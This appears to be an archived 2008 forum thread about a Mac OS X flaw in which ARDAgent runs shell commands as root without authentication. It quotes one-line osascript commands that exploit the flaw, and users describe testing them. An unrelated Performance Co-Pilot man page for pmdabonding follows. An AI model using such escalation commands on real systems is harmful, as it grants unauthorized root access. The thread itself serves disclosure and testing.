ARD Agent vulnerability Post: 302207382

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Operating Systems OS X (Apple) ARD Agent vulnerability Post 302207382 by woodgie on Thursday 19th of June 2008 06:05:57 PM

06-19-2008

Registered User

Quote:

Originally Posted by afriend

today an anonymous slashdot user posted this little shell command, that uses the ARDAgent to gain root access, without ever needing to authenticate.

the script is:
osascript -e 'tell app "ARDAgent" to do shell script "whoami"'

Can be used to things like:
osascript -e 'tell app "ARDAgent" to do shell script "scutil --set ComputerName SomeName"'
that would normally require authentication.

It has been tested by quite a few people, and has been found only to work you are physically at a computer and its logged in.

However where I work we use Network Shares as our home folder, and this hack doesnt seem to work. And I just wanted to make sure that there was no way it would work.

When I run the command:
osascript -e 'tell app "ARDAgent" to do shell script "whoami"'

I get:
execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)

Anyone thinks its possible?

I just tested that on the MacBook Pro I use day to day using an admin account, a normal account and the built in guest account and I have to say...

CRIKEY!

I was hoping maybe it was only a problem if you were logged in as an admin user, but it isn't. I'll test it at work tomorrow when I can get access to my test machines and try it with network clients.

This is really some quite major privilege escalation, it's a built in rootkit.

Thank you very much for bringing that to my attention.

Last edited by woodgie; 06-20-2008 at 06:18 AM.. Reason: Do not use curse words in these forums, no exceptions.

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pmdabonding

PMDABONDING(1)						       Performance Co-Pilot						    PMDABONDING(1)

NAME

       pmdabonding - Linux bonded interface performance metrics domain agent (PMDA)

DESCRIPTION

       pmdabonding is a Performance Metrics Domain Agent (PMDA) which exports metric values from bonded network interfaces in the Linux kernel.

INSTALLATION

       If you want access to the names and values for the bonding performance metrics, do the following as root:

	       # cd $PCP_PMDAS_DIR/bonding
	       # ./Install

       If you want to undo the installation, do the following as root:

	       # cd $PCP_PMDAS_DIR/bonding
	       # ./Remove

       pmdabonding is launched by pmcd(1) and should never be executed directly.  The Install and Remove scripts notify pmcd(1) when the agent is
       installed or removed.

FILES

       $PCP_PMDAS_DIR/bonding/Install
	   installation script for the pmdabonding agent

       $PCP_PMDAS_DIR/bonding/Remove
	   undo installation script for the pmdabonding agent

       $PCP_LOG_DIR/pmcd/bonding.log
	   default log file for error messages from pmdabonding

SEE ALSO

       pmcd(1) and ifenslave(8).

3.8.10							       Performance Co-Pilot						    PMDABONDING(1)